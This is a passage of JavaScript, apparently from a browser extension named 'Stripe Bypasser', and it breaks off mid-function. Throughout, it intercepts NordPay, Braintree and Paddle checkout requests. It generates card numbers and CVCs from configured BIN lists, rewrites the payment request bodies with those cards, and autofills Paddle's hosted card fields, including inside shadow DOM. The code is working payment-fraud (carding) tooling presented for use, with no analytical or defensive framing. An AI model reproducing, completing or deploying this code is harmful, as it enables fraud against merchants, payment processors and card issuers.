            String(parsedPayload.year || "").slice(-2);
          const cardLogString =
            cardData?.cvcMode === "remove"
              ? cardSummary
              : cardSummary + "|" + (parsedPayload.cvc || "");
          if (typeof window !== "undefined" && window.postMessage) {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message: "NordPay: " + cardLogString + " (" + cardBrand + ")",
                logType: "info"
              },
              "*"
            );
          }
          if (typeof document !== "undefined" && document && document.dispatchEvent) {
            document.dispatchEvent(
              new CustomEvent("stripeBypasserPaymentLog", {
                detail: {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message: "NordPay: " + cardLogString + " (" + cardBrand + ")",
                  logType: "info"
                }
              })
            );
          }
        } catch (error) {
          stripeBypasserLogger.error("[NordPayHandler] Error logging card:", error);
        }
      } catch (error) {
        stripeBypasserLogger.error("[NordPayHandler] Error storing/logging card:", error);
      }
      if (payload.body) {
        try {
          if (
            typeof window === "undefined" ||
            !window.StripeBypasserPayload ||
            !window.StripeBypasserPayload.replaceCardInNordPayPayload
          ) {
            stripeBypasserLogger.error(
              "[NordPayHandler] PayloadManipulator not available or replaceCardInNordPayPayload not found"
            );
            return payload;
          }
          let requestBody = payload.body;
          if (
            typeof payload.body !== "object" ||
            payload.body instanceof FormData ||
            payload.body instanceof URLSearchParams
          ) {
            if (typeof payload.body !== "string") {
              requestBody = String(payload.body);
            }
          } else {
            requestBody = JSON.stringify(payload.body);
          }
          stripeBypasserLogger.log("[NordPayHandler] Processing NordPay payload", {
            bodyType: typeof payload.body,
            bodyLength: requestBody.length,
            bodyPreview: requestBody.substring(0, 200) + "..."
          });
          const body = window.StripeBypasserPayload.replaceCardInNordPayPayload(
            requestBody,
            parsedPayload,
            cardData
          );
          if (body && body !== requestBody) {
            payload = {
              ...payload,
              body,
              headers: window.StripeBypasserPayload.preserveHeaders(
                payload.headers,
                "application/json"
              )
            };
            stripeBypasserLogger.log("[NordPayHandler] NordPay payload modified successfully", {
              originalLength: requestBody.length,
              modifiedLength: body.length
            });
          } else {
            stripeBypasserLogger.warn(
              "[NordPayHandler] Payload was not modified (may not be a NordPay payload)"
            );
          }
        } catch (error) {
          stripeBypasserLogger.error("[NordPayHandler] Error modifying payload:", error);
        }
      } else {
        stripeBypasserLogger.warn("[NordPayHandler] No request body found");
      }
      try {
        const isSelfTop = typeof window !== "undefined" && window.self !== window.top;
        const isOnNordPayDomain =
          typeof window !== "undefined" &&
          window.location &&
          window.location.hostname &&
          window.location.hostname.includes("nordpayments.com");
        if (isSelfTop || isOnNordPayDomain) {
          try {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_SHOW_BANNER",
                message:
                  "NordPay: Card " +
                  parsedPayload.number.substring(0, 4) +
                  "****" +
                  parsedPayload.number.substring(12) +
                  " (" +
                  cardBrand +
                  ")",
                cardType: cardBrand
              },
              "*"
            );
          } catch (error) {
            stripeBypasserLogger.error(
              "[NordPayHandler] Error sending postMessage for banner:",
              error
            );
          }
        } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
          try {
            window.createStripeBypassBanner(
              "NordPay: Card " +
                parsedPayload.number.substring(0, 4) +
                "****" +
                parsedPayload.number.substring(12) +
                " (" +
                cardBrand +
                ")"
            );
          } catch (error) {
            stripeBypasserLogger.error("[NordPayHandler] Error creating banner:", error);
          }
        }
      } catch (error) {
        stripeBypasserLogger.error("[NordPayHandler] Error showing banner:", error);
      }
      return payload;
    } catch (error) {
      stripeBypasserLogger.error("[NordPayHandler] Fatal error:", error);
      return payload;
    }
  }
  const nordPayBypasserPayment = {
    handleGogPayment: handleNordPayRequest
  };
  if (typeof window !== "undefined") {
    window.NordPayBypasserPayment = nordPayBypasserPayment;
  }
  function handleBraintreeRequest(payload, cardData) {
    try {
      const loggerLabel = "[BraintreeHandler]";
      const requestContext = gatewayDetectionHelpers.buildRequestContext(payload);
      if (!isBraintreeTokenizeRequest(requestContext.requestBodyText)) {
        return payload;
      }
      if (
        gatewayDetectionHelpers.shouldSkipDuplicateRequest(
          "braintree-request",
          requestContext.requestFingerprint,
          {
            loggerLabel
          }
        )
      ) {
        return payload;
      }
      const settings = gatewayDetectionHelpers.resolveEnabledSettings(cardData, loggerLabel);
      if (!settings) {
        return payload;
      }
      const generatedCardResult = generateGatewayCard(settings, {
        gatewayLabel: "BraintreeHandler",
        rotationStateKey: "__BraintreeBypasserBinRotation"
      });
      if (!generatedCardResult?.card) {
        stripeBypasserLogger?.error("[BraintreeHandler] Failed to generate card");
        return payload;
      }
      const parsedPayload = generatedCardResult.card;
      gatewayLoggingHelpers.logGeneratedCard({
        loggerLabel,
        generatedCardResult,
        cardData: parsedPayload,
        extraDetails: {
          month: parsedPayload.month,
          year: parsedPayload.year,
          hasCvc: !!parsedPayload.cvc
        }
      });
      const cardBrand = getCardBrand(parsedPayload.number);
      persistGeneratedCardArtifacts({
        gatewayLabel: "Braintree",
        storageNamespaces: ["braintree"],
        cardData: parsedPayload,
        cvcMode: settings?.cvcMode,
        cardBrand,
        loggerLabel
      });
      if (payload.body) {
        const bodyReplacement = gatewaySerializationHelpers.replaceJsonBody({
          payload,
          replaceFunctionName: "replaceCardInBraintreePayload",
          generatedCard: parsedPayload,
          settings,
          waitMs: 200,
          loggerLabel: loggerLabel + " Error modifying payload:",
          missingFunctionMessage:
            loggerLabel +
            " PayloadManipulator not available or replaceCardInBraintreePayload not found"
        });
        if (!bodyReplacement) {
          return payload;
        }
        gatewayLoggingHelpers.logBodyReplacementResult({
          loggerLabel,
          bodyReplacement,
          successMessage: "Braintree payload modified successfully"
        });
        payload = gatewaySerializationHelpers.applyJsonBodyReplacement(payload, bodyReplacement);
      }
      try {
        showGatewaySuccessBanner({
          domainFragment: "braintree",
          title: "Braintree",
          details: "Card " + maskCardNumber(parsedPayload.number) + " (" + cardBrand + ")",
          deferLocalBanner: false,
          loggerLabel
        });
      } catch (error) {
        stripeBypasserLogger?.error("[BraintreeHandler] Error showing banner:", error);
      }
      return payload;
    } catch (error) {
      stripeBypasserLogger?.error("[BraintreeHandler] Fatal error:", error);
      return payload;
    }
  }
  const braintreeBypasserPayment = {
    handleGogPayment: gatewayRequestHandlerModule.braintree
  };
  if (typeof window !== "undefined" && !window.__BraintreeBypasserRequestTracker) {
    window.__BraintreeBypasserRequestTracker = new Map();
  }
  if (typeof window !== "undefined") {
    window.BraintreeBypasserPayment = braintreeBypasserPayment;
    if (stripeBypasserLogger && stripeBypasserLogger.log) {
      stripeBypasserLogger.log("[BraintreeHandler] Handler exposed globally", {
        hasHandlePayment: true
      });
    }
  }
  function handlePaddleRequest(payload, cardData) {
    try {
      cardData ||= getActiveBypasserSettings({
        enabled: false
      });
      if (!cardData || !cardData.enabled) {
        stripeBypasserLogger.warn("[PaddleHandler] Extension disabled or settings not enabled");
        return payload;
      }
      if (!payload.body) {
        return payload;
      }
      let requestBody = payload.body;
      if (
        typeof payload.body !== "object" ||
        payload.body instanceof FormData ||
        payload.body instanceof URLSearchParams
      ) {
        if (typeof payload.body !== "string") {
          requestBody = String(payload.body);
        }
      } else {
        try {
          requestBody = JSON.stringify(payload.body);
        } catch (error) {
          requestBody = String(payload.body);
        }
      }
      if (
        typeof requestBody !== "string" ||
        !requestBody.includes("tokenex_card") ||
        !requestBody.includes("payment_method_data")
      ) {
        return payload;
      }
      if (
        (requestKey => {
          if (typeof window === "undefined" || !window.__PaddleBypasserRequestTracker) {
            return false;
          }
          const now = Date.now();
          const lastTrackedAt = window.__PaddleBypasserRequestTracker.get(requestKey);
          if (lastTrackedAt && now - lastTrackedAt < 15000) {
            return true;
          }
          window.__PaddleBypasserRequestTracker.set(requestKey, now);
          try {
            const requestTracker = window.__PaddleBypasserRequestTracker;
            if (requestTracker && requestTracker.size > 100) {
              const expiredKeysList = [];
              requestTracker.forEach((item, index) => expiredKeysList.push([index, item]));
              if (expiredKeysList.length > 100) {
                expiredKeysList.sort((left, right) => (left[1] || 0) - (right[1] || 0));
                expiredKeysList
                  .slice(0, expiredKeysList.length - 100)
                  .forEach(([currentEntry]) => requestTracker.delete(currentEntry));
              }
            }
            requestTracker.forEach((item, index) => {
              if (now - item > 60000) {
                requestTracker.delete(index);
              }
            });
          } catch (error) {
            if (stripeBypasserLogger) {
              stripeBypasserLogger.warn("[PaddleHandler] Request tracker cleanup error", error);
            }
          }
          return false;
        })(
          ((requestUrl, requestBody) => {
            try {
              let normalizedUrl = requestUrl;
              if (normalizedUrl && typeof normalizedUrl === "string") {
                try {
                  if (normalizedUrl.startsWith("http://") || normalizedUrl.startsWith("https://")) {
                    const parsedUrl = new URL(normalizedUrl);
                    normalizedUrl = parsedUrl.protocol + "//" + parsedUrl.host + parsedUrl.pathname;
                  } else if (
                    typeof window !== "undefined" &&
                    window.location &&
                    window.location.origin
                  ) {
                    const parsedUrl = new URL(normalizedUrl, window.location.origin);
                    normalizedUrl = parsedUrl.protocol + "//" + parsedUrl.host + parsedUrl.pathname;
                  } else {
                    const match = normalizedUrl.match(/\/[^?]*/);
                    normalizedUrl = match ? match[0] : normalizedUrl.split("?")[0];
                  }
                } catch (error) {
                  const matchData = normalizedUrl.match(/\/[^?]*/);
                  normalizedUrl = matchData ? matchData[0] : normalizedUrl.split("?")[0];
                }
              }
              return normalizedUrl + "|";
            } catch (error) {
              return (
                (requestUrl && typeof requestUrl === "string"
                  ? requestUrl.substring(0, 100)
                  : String(requestUrl || "")) +
                "|" +
                (requestBody && typeof requestBody === "string"
                  ? requestBody.substring(0, 100)
                  : "obj")
              );
            }
          })("", payload.body)
        )
      ) {
        stripeBypasserLogger.log("[PaddleHandler] Request already processed recently, skipping");
        return payload;
      }
      let binList = [];
      try {
        if (Array.isArray(cardData.bin)) {
          binList = cardData.bin
            .filter(item => item && typeof item === "string")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        } else if (cardData.bin && typeof cardData.bin === "string" && cardData.bin.trim()) {
          binList = cardData.bin
            .split("\n")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        }
      } catch (error) {
        stripeBypasserLogger.error("[PaddleHandler] Error parsing BIN list:", error);
        return payload;
      }
      let parsedPayload = null;
      if (binList.length > 0) {
        if (typeof window !== "undefined" && !window.__PaddleBypasserBinRotation) {
          window.__PaddleBypasserBinRotation = {
            currentIndex: 0,
            lastResetTime: Date.now()
          };
        }
        let currentBinIndex =
          typeof window !== "undefined" && window.__PaddleBypasserBinRotation
            ? window.__PaddleBypasserBinRotation.currentIndex
            : 0;
        let binAttemptCount = 0;
        const totalBinCount = binList.length;
        let stripeBypasserCardGenerator = null;
        const waitStartAt = Date.now();
        while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < 300) {
          if (
            typeof window !== "undefined" &&
            window.StripeBypasserCardGenerator &&
            window.StripeBypasserCardGenerator.parseBin &&
            window.StripeBypasserCardGenerator.generateCard
          ) {
            stripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
            break;
          }
          if (
            typeof globalThis !== "undefined" &&
            globalThis.StripeBypasserCardGenerator &&
            globalThis.StripeBypasserCardGenerator.parseBin &&
            globalThis.StripeBypasserCardGenerator.generateCard
          ) {
            stripeBypasserCardGenerator = globalThis.StripeBypasserCardGenerator;
            if (typeof window !== "undefined") {
              window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
            }
            break;
          }
          const isDateNow = Date.now() + 10;
          while (Date.now() < isDateNow);
        }
        if (!stripeBypasserCardGenerator) {
          stripeBypasserLogger.error("[PaddleHandler] CardGenerator not available");
          return payload;
        }
        while (binAttemptCount < totalBinCount && !parsedPayload) {
          try {
            const currentBinPattern = binList[currentBinIndex % binList.length];
            const binMetadata = stripeBypasserCardGenerator.parseBin(currentBinPattern);
            if (!binMetadata) {
              currentBinIndex++;
              binAttemptCount++;
              continue;
            }
            const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
            parsedPayload = stripeBypasserCardGenerator.generateCard(
              binMetadata,
              hasCardCvcModeGenerate
            );
            if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
              parsedPayload.cvc = cardData.customCvc;
            }
            if (parsedPayload) {
              if (typeof window !== "undefined" && window.__PaddleBypasserBinRotation) {
                window.__PaddleBypasserBinRotation.currentIndex =
                  (currentBinIndex + 1) % binList.length;
              }
              stripeBypasserLogger.log("[PaddleHandler] Card generated successfully:", {
                cardNumber: parsedPayload.number
                  ? parsedPayload.number.substring(0, 4) +
                    "****" +
                    parsedPayload.number.substring(parsedPayload.number.length - 4)
                  : "N/A"
              });
              break;
            }
            currentBinIndex++;
            binAttemptCount++;
          } catch (error) {
            stripeBypasserLogger.error("[PaddleHandler] Error generating card:", error);
            currentBinIndex++;
            binAttemptCount++;
          }
        }
        if (parsedPayload) {
          const cardBrand = getCardBrand(parsedPayload.number);
          try {
            if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
              const storedCardTask = window.StripeBypasserCardStorage.store(parsedPayload);
              if (storedCardTask && typeof storedCardTask.then === "function") {
                storedCardTask.catch(asyncError =>
                  stripeBypasserLogger.error("[PaddleHandler] Card storage error:", asyncError)
                );
              }
            }
            const cardSummary =
              parsedPayload.number +
              "|" +
              String(parsedPayload.month || "").padStart(2, "0") +
              "|" +
              String(parsedPayload.year || "").slice(-2);
            const cardLogString =
              cardData?.cvcMode === "remove"
                ? cardSummary
                : cardSummary + "|" + (parsedPayload.cvc || "");
            if (typeof window !== "undefined" && window.localStorage) {
              window.localStorage.setItem("paddleBypasserLastCardString", cardLogString);
              window.localStorage.setItem("paddleBypasserLastCard", JSON.stringify(parsedPayload));
            }
            if (typeof window !== "undefined" && window.postMessage) {
              window.postMessage(
                {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message: "Paddle: " + cardLogString + " (" + cardBrand + ")",
                  logType: "info"
                },
                "*"
              );
            }
            if (typeof document !== "undefined" && document.dispatchEvent) {
              document.dispatchEvent(
                new CustomEvent("stripeBypasserPaymentLog", {
                  detail: {
                    type: "STRIPE_BYPASSER_PAYMENT_LOG",
                    message: "Paddle: " + cardLogString + " (" + cardBrand + ")",
                    logType: "info"
                  }
                })
              );
            }
          } catch (error) {
            stripeBypasserLogger.error("[PaddleHandler] Error storing/logging card:", error);
          }
        }
      }
      if (
        typeof window === "undefined" ||
        !window.StripeBypasserPayload ||
        !window.StripeBypasserPayload.replaceCardInPaddlePayload
      ) {
        stripeBypasserLogger.error(
          "[PaddleHandler] PayloadManipulator not available or replaceCardInPaddlePayload not found"
        );
        return payload;
      }
      if (typeof console !== "undefined" && console.log) {
        console.log(
          "[Paddle] Handler: bodyLen=",
          requestBody.length,
          "hasTokenex=",
          requestBody.includes("tokenex_card"),
          "generatedCard=",
          !!parsedPayload,
          parsedPayload?.number ? parsedPayload.number.slice(0, 6) + "****" : null
        );
      }
      const body = window.StripeBypasserPayload.replaceCardInPaddlePayload(
        requestBody,
        parsedPayload || null,
        cardData
      );
      if (body && body !== requestBody) {
        payload = {
          ...payload,
          body,
          headers: window.StripeBypasserPayload.preserveHeaders(payload.headers, "application/json")
        };
        stripeBypasserLogger.log("[PaddleHandler] Paddle payload modified successfully", {
          originalLength: requestBody.length,
          modifiedLength: body.length
        });
        if (typeof console !== "undefined" && console.log) {
          console.log("[Paddle] Payload replaced in request body OK");
        }
      } else if (
        requestBody.includes("encrypted_card_number") &&
        /"encrypted_card_number"\s*:\s*"[^"]{50,}"/.test(requestBody)
      ) {
        if (typeof console !== "undefined" && console.log) {
          console.log(
            "[Paddle] Payload already has encrypted card (form injector filled – page TokenEx encrypted)"
          );
        }
      } else {
        stripeBypasserLogger.warn("[PaddleHandler] Payload was not modified");
        if (typeof console !== "undefined" && console.log) {
          console.log(
            "[Paddle] Payload NOT modified (TokenEx encrypt failed – check form injector filled before submit)"
          );
        }
      }
      const isTopSelf = typeof window !== "undefined" && window.top !== window.self;
      const isOnPaddleDomain =
        typeof window !== "undefined" &&
        window.location &&
        window.location.hostname &&
        (window.location.hostname.includes("paddle.com") ||
          window.location.hostname.includes("buy.paddle.com"));
      if (parsedPayload && (isTopSelf || isOnPaddleDomain)) {
        try {
          window.postMessage(
            {
              type: "STRIPE_BYPASSER_SHOW_BANNER",
              bannerText: "Card Generated & Sent",
              bannerType: "success",
              details: null
            },
            "*"
          );
        } catch (error) {
          stripeBypasserLogger.warn("[PaddleHandler] PostMessage banner error:", error);
        }
      } else if (
        parsedPayload &&
        typeof window !== "undefined" &&
        window.createStripeBypassBanner
      ) {
        setTimeout(() => {
          try {
            window.createStripeBypassBanner("Card Generated & Sent", "success");
          } catch (error) {
            stripeBypasserLogger.warn("[PaddleHandler] Banner error:", error);
          }
        }, 0);
      }
      return payload;
    } catch (error) {
      stripeBypasserLogger.error("[PaddleHandler] Fatal error:", error);
      return payload;
    }
  }
  const paddleBypasserPayment = {
    handleGogPayment: handlePaddleRequest
  };
  if (typeof window !== "undefined" && !window.__PaddleBypasserRequestTracker) {
    window.__PaddleBypasserRequestTracker = new Map();
  }
  if (typeof window !== "undefined") {
    window.PaddleBypasserPayment = paddleBypasserPayment;
  }
  const autocompleteCcNumberList = [
    'input[autocomplete="cc-number"]',
    'input[name*="card"][name*="number" i]',
    'input[name*="cardNumber" i]',
    'input[name*="card_number" i]',
    'input[id*="card"][id*="number" i]',
    'input[placeholder*="1234" i]',
    'input[placeholder*="Card number" i]',
    'input[placeholder*="card number" i]',
    'input[type="tel"][maxlength="19"]',
    'input[type="tel"][maxlength="16"]',
    'input[type="text"][maxlength="19"]',
    'input[type="text"][maxlength="16"]',
    "#card-number",
    '[data-testid*="card-number" i]',
    '[data-field="cardNumber"]',
    'input[data-field*="card" i]'
  ];
  const autocompleteCcExpList = [
    'input[autocomplete="cc-exp"]',
    'input[name*="exp"][name*="date" i]',
    'input[name*="expiry" i]',
    'input[id*="exp"][id*="date" i]',
    'input[placeholder*="MM" i]',
    'input[placeholder*="MM/YY" i]',
    "#exp-date",
    ".exp-date",
    '[data-field="expiry"]'
  ];
  const autocompleteCcCscList = [
    'input[autocomplete="cc-csc"]',
    'input[name*="cvc" i]',
    'input[name*="cvv" i]',
    'input[name*="security" i]',
    'input[name*="cvc" i]',
    'input[id*="cvc" i]',
    'input[id*="cvv" i]',
    'input[placeholder*="CVC" i]',
    'input[placeholder*="CVV" i]',
    "#cvc",
    "#cvv",
    '[data-field="cvc"]'
  ];
  function queryShadowDomSelector(rootNode, selector) {
    if (!rootNode) {
      return null;
    }
    try {
      const matchingElement = rootNode.querySelector(selector);
      if (
        matchingElement &&
        matchingElement.offsetParent !== null &&
        !matchingElement.disabled &&
        !matchingElement.readOnly
      ) {
        return matchingElement;
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    const findInShadowTree = (currentNode, depthLevel) => {
      if (depthLevel > 5) {
        return null;
      }
      if (currentNode.shadowRoot) {
        try {
          const matchingElement = currentNode.shadowRoot.querySelector(selector);
          if (
            matchingElement &&
            matchingElement.offsetParent !== null &&
            !matchingElement.disabled &&
            !matchingElement.readOnly
          ) {
            return matchingElement;
          }
          for (const children of currentNode.shadowRoot.children) {
            const nestedMatch = findInShadowTree(children, depthLevel + 1);
            if (nestedMatch) {
              return nestedMatch;
            }
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
      }
      try {
        for (const iterItem of currentNode.children || []) {
          const nestedMatch = findInShadowTree(iterItem, depthLevel);
          if (nestedMatch) {
            return nestedMatch;
          }
        }
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
      return null;
    };
    try {
      for (const iterItem of rootNode.children || []) {
        const nestedMatch = findInShadowTree(iterItem, 0);
        if (nestedMatch) {
          return nestedMatch;
        }
      }
    } catch (error) {
      console.warn("[Deep Bypasser] Operation failed", error.message);
    }
    return null;
  }
  function findVisibleInputBySelectors(selectorList, textValue = "") {
    const doc = typeof document !== "undefined" ? document : null;
    if (!doc) {
      return {
        el: null,
        selector: null
      };
    }
    for (const selector of selectorList) {
      try {
        let matchingElement = doc.querySelector(selector);
        matchingElement ||= queryShadowDomSelector(doc.body || doc.documentElement, selector);
        if (
          matchingElement &&
          matchingElement.offsetParent !== null &&
          !matchingElement.disabled &&
          !matchingElement.readOnly
        ) {
          if (true && textValue) {
            console.log("[PaddleFormInjector] Found", textValue, "by selector:", selector);
          }
          return {
            el: matchingElement,
            selector
          };
        }
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
    }
    if (textValue) {
      const lastNotFoundAt = Date.now();
      if (
        !window.__PaddleFormInjectorLastNotFound ||
        lastNotFoundAt - window.__PaddleFormInjectorLastNotFound > 2000
      ) {
        window.__PaddleFormInjectorLastNotFound = lastNotFoundAt;
        console.log("[PaddleFormInjector] Not found:", textValue, "(will retry)");
      }
    }
    return {
      el: null,
      selector: null
    };
  }
  function setNativeInputValue(element, fieldValue) {
    const valueSetterDescriptor = Object.getOwnPropertyDescriptor(
      window.HTMLInputElement?.prototype,
      "value"
    );
    const valueSetter = valueSetterDescriptor?.set;
    if (valueSetter) {
      valueSetter.call(element, fieldValue);
    } else {
      element.value = fieldValue;
    }
  }
  function fillPaddleField(inputElement, fieldValue, isEnabled = true, extraData = "") {
    if (!inputElement || fieldValue == null || fieldValue === "") {
      return false;
    }
    try {
      inputElement.focus();
      setNativeInputValue(inputElement, fieldValue);
      if (isEnabled) {
        try {
          const eventObject = new InputEvent("input", {
            bubbles: true,
            cancelable: true,
            inputType: "insertText",
            data: String(fieldValue)
          });
          inputElement.dispatchEvent(eventObject);
        } catch (error) {
          inputElement.dispatchEvent(
            new Event("input", {
              bubbles: true,
              cancelable: true
            })
          );
        }
        inputElement.dispatchEvent(
          new Event("change", {
            bubbles: true,
            cancelable: true
          })
        );
        inputElement.dispatchEvent(
          new Event("blur", {
            bubbles: true,
            cancelable: true
          })
        );
      }
      inputElement.blur();
      if (true && extraData) {
        console.log("[PaddleFormInjector] Filled", extraData, "len=", String(fieldValue).length);
      }
      return true;
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("[PaddleFormInjector] fillPaddleField error", error);
      }
      console.warn("[PaddleFormInjector] fillPaddleField error", extraData, error);
      return false;
    }
  }
  function formatCardNumberForInput(cardNumber) {
    if (cardNumber) {
      return String(cardNumber)
        .replace(/\D/g, "")
        .replace(/(\d{4})/g, "$1 ")
        .trim();
    }
    return "";
  }
  function formatExpiryForInput(expiryMonth, expiryYear) {
    const paddedMonth = String(expiryMonth || "")
      .replace(/\D/g, "")
      .padStart(2, "0");
    let normalizedText = String(expiryYear || "").replace(/\D/g, "");
    if (normalizedText.length === 4) {
      normalizedText = normalizedText.slice(-2);
    }
    if (paddedMonth && normalizedText) {
      return paddedMonth + "/" + normalizedText;
    }
    return "";
  }
  function fillPaddleHostedFields() {
    if (typeof window === "undefined" || typeof document === "undefined") {
      return;
    }
    if (window.__PaddleFormInjectorFilled) {
      return;
    }
    if (!((window.location && window.location.hostname) || "").includes("paddle.com")) {
      return;
    }
    const settingsData = (() => {
      if (typeof window === "undefined") {
        return null;
      }
      try {
        if (
          window.StripeBypasserSettings &&
          typeof window.StripeBypasserSettings.get === "function"
        ) {
          return window.StripeBypasserSettings.get();
        }
        if (window.__STRIPE_BYPASSER_SETTINGS__) {
          return window.__STRIPE_BYPASSER_SETTINGS__;
        }
      } catch (error) {
        console.warn("[Deep Bypasser] Operation failed", error.message);
      }
      return null;
    })();
    if (!settingsData || !settingsData.enabled) {
      console.log("[PaddleFormInjector] Skip: settings disabled or missing");
      return;
    }
    const { el: cardNumberInputElement } = findVisibleInputBySelectors(
      autocompleteCcNumberList,
      "cardNumber"
    );
    if (!cardNumberInputElement) {
      console.log("[PaddleFormInjector] Skip: card number field not found");
      return;
    }
    const normalizedText = (cardNumberInputElement.value || "").replace(/\D/g, "");
    if (normalizedText.length >= 15) {
      console.log("[PaddleFormInjector] Skip: field already has", normalizedText.length, "digits");
      return;
    }
    const cardBinRangeList = (cardData => {
      let binList = [];
      if (Array.isArray(cardData?.bin)) {
        binList = cardData.bin
          .filter(item => item && typeof item === "string")
          .map(item => item.trim())
          .filter(item => item.length > 0);
      } else if (cardData?.bin && typeof cardData.bin === "string") {
        binList = cardData.bin
          .split("\n")
          .map(item => item.trim())
          .filter(item => item.length > 0);
      }
      if (binList.length === 0) {
        return null;
      }
      const cardGenerator = getAvailableCardGenerator();
      if (!cardGenerator) {
        return null;
      }
      const firstBinPattern = binList[0];
      const parsedBinPattern = cardGenerator.parseBin(firstBinPattern);
      if (!parsedBinPattern) {
        return null;
      }
      const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
      const generatedCardPayload = cardGenerator.generateCard(
        parsedBinPattern,
        hasCardCvcModeGenerate
      );
      if (generatedCardPayload) {
        if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
          generatedCardPayload.cvc = cardData.customCvc;
        }
        return generatedCardPayload;
      }
      return null;
    })(settingsData);
    if (!cardBinRangeList || !cardBinRangeList.number) {
      console.log("[PaddleFormInjector] Skip: could not generate card (BINs? generator?)");
      return;
    }
    console.log(
      "[PaddleFormInjector] Filling form with card",
      cardBinRangeList.number.slice(0, 6) + "****" + cardBinRangeList.number.slice(-4)
    );
    const computedValue = (() => {
      try {
        if (typeof window !== "undefined") {
          const advancedSettings = window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__ || {};
          if (
            advancedSettings.customName &&
            typeof advancedSettings.customName === "string" &&
            advancedSettings.customName.trim()
          ) {
            return advancedSettings.customName.trim();
          }
          const defaultAutofillName = window.__STRIPE_BYPASSER_AUTOFILL_DEFAULT_NAME;
          if (
            defaultAutofillName &&
            typeof defaultAutofillName === "string" &&
            defaultAutofillName.trim()
          ) {
            return defaultAutofillName.trim();
          }
        }
      } catch (error) {
        if (stripeBypasserLogger) {
          stripeBypasserLogger.warn(
            "[PaddleFormInjector] Could not resolve default cardholder name",
            error
          );
        }
      }
      return getDefaultCardholderName();
    })();
    let formFilled = false;
    if (
      fillPaddleField(
        cardNumberInputElement,
        formatCardNumberForInput(cardBinRangeList.number),
        true,
        "cardNumber"
      )
    ) {
      formFilled = true;
    }
    const { el: expiryInputElement } = findVisibleInputBySelectors(autocompleteCcExpList, "expiry");
    if (
      expiryInputElement &&
      fillPaddleField(
        expiryInputElement,
        formatExpiryForInput(cardBinRangeList.month, cardBinRangeList.year),
        true,
        "expiry"
      )
    ) {
      formFilled = true;
    }
    if (cardBinRangeList.cvc) {
      const { el: securityCodeInputElement } = findVisibleInputBySelectors(
        autocompleteCcCscList,
        "cvc"
      );
      if (
        securityCodeInputElement &&
        fillPaddleField(securityCodeInputElement, cardBinRangeList.cvc, true, "cvc")
      ) {
        formFilled = true;
      }
    }
    const { el: cardholderNameInputElement } = findVisibleInputBySelectors(
      [
        'input[autocomplete="cc-name"]',
        'input[name*="cardholder" i]',
        'input[name*="name" i]',
        'input[name*="card_holder" i]',
        'input[placeholder*="Name on card" i]',
        'input[placeholder*="name" i]',
        "#cardholder-name",
        '[data-field="name"]'
      ],
      "name"
    );
    if (
      cardholderNameInputElement &&
      fillPaddleField(cardholderNameInputElement, computedValue, true, "name")
    ) {
      formFilled = true;
    }
    if (formFilled) {
      window.__PaddleFormInjectorFilled = true;
      if (stripeBypasserLogger) {
        stripeBypasserLogger.log(
          "[PaddleFormInjector] Filled card form with generated card (page TokenEx will encrypt on submit)"
        );
      }
      console.log("[PaddleFormInjector] Done: form filled, TokenEx will encrypt on submit");
      setTimeout(() => {
        if (!window.__PaddleFormInjectorFilled) {
          return;
        }
        const { el: cardNumberInputElement } = findVisibleInputBySelectors(
          autocompleteCcNumberList,
          ""
        );
        if (
          cardNumberInputElement &&
          (cardNumberInputElement.value || "").replace(/\D/g, "").length < 15
        ) {
          setNativeInputValue(
            cardNumberInputElement,
            formatCardNumberForInput(cardBinRangeList.number)
          );
          fillPaddleField(
            cardNumberInputElement,
            formatCardNumberForInput(cardBinRangeList.number),
            true,
            "cardNumber (re-fill)"
          );
          const { el: fallbackExpiryInputElement } = findVisibleInputBySelectors(
            autocompleteCcExpList,
            ""
          );
          if (fallbackExpiryInputElement) {
            fillPaddleField(
              fallbackExpiryInputElement,
              formatExpiryForInput(cardBinRangeList.month, cardBinRangeList.year),
              true,
              "expiry (re-fill)"
            );
          }
          const { el: fallbackSecurityCodeInputElement } = findVisibleInputBySelectors(
            autocompleteCcCscList,
            ""
          );
          if (fallbackSecurityCodeInputElement && cardBinRangeList.cvc) {
            fillPaddleField(
              fallbackSecurityCodeInputElement,
              cardBinRangeList.cvc,
              true,
              "cvc (re-fill)"
            );
          }
          console.log("[PaddleFormInjector] Re-filled form (React may have reset)");
        }
      }, 200);
    } else {
      console.log("[PaddleFormInjector] No field was filled (selectors may not match this page)");
    }
  }
  function initPaddleFormInjector() {
    if (typeof window === "undefined") {
      return;
    }
    const isLocationHostname = (window.location && window.location.hostname) || "";
    if (!isLocationHostname.includes("paddle.com")) {
      return;
    }
    console.log("[PaddleFormInjector] Init in Paddle frame", isLocationHostname);
    (() => {
      if (typeof document === "undefined") {
        return;
      }
      if (document.readyState === "complete") {
        fillPaddleHostedFields();
        return;
      }
      const domReadyHandler = () => {
        setTimeout(fillPaddleHostedFields, 800);
        setTimeout(fillPaddleHostedFields, 2000);
      };
      if (document.readyState === "loading") {
        document.addEventListener("DOMContentLoaded", domReadyHandler);
      } else {
        domReadyHandler();
      }
    })();
    const domObserver = new MutationObserver(() => {
      if (!window.__PaddleFormInjectorFilled) {
        fillPaddleHostedFields();
      }
    });
    try {
      const requestBody = document.body;
      if (requestBody) {
        domObserver.observe(requestBody, {
          childList: true,
          subtree: true
        });
        setTimeout(fillPaddleHostedFields, 500);
        setTimeout(fillPaddleHostedFields, 1500);
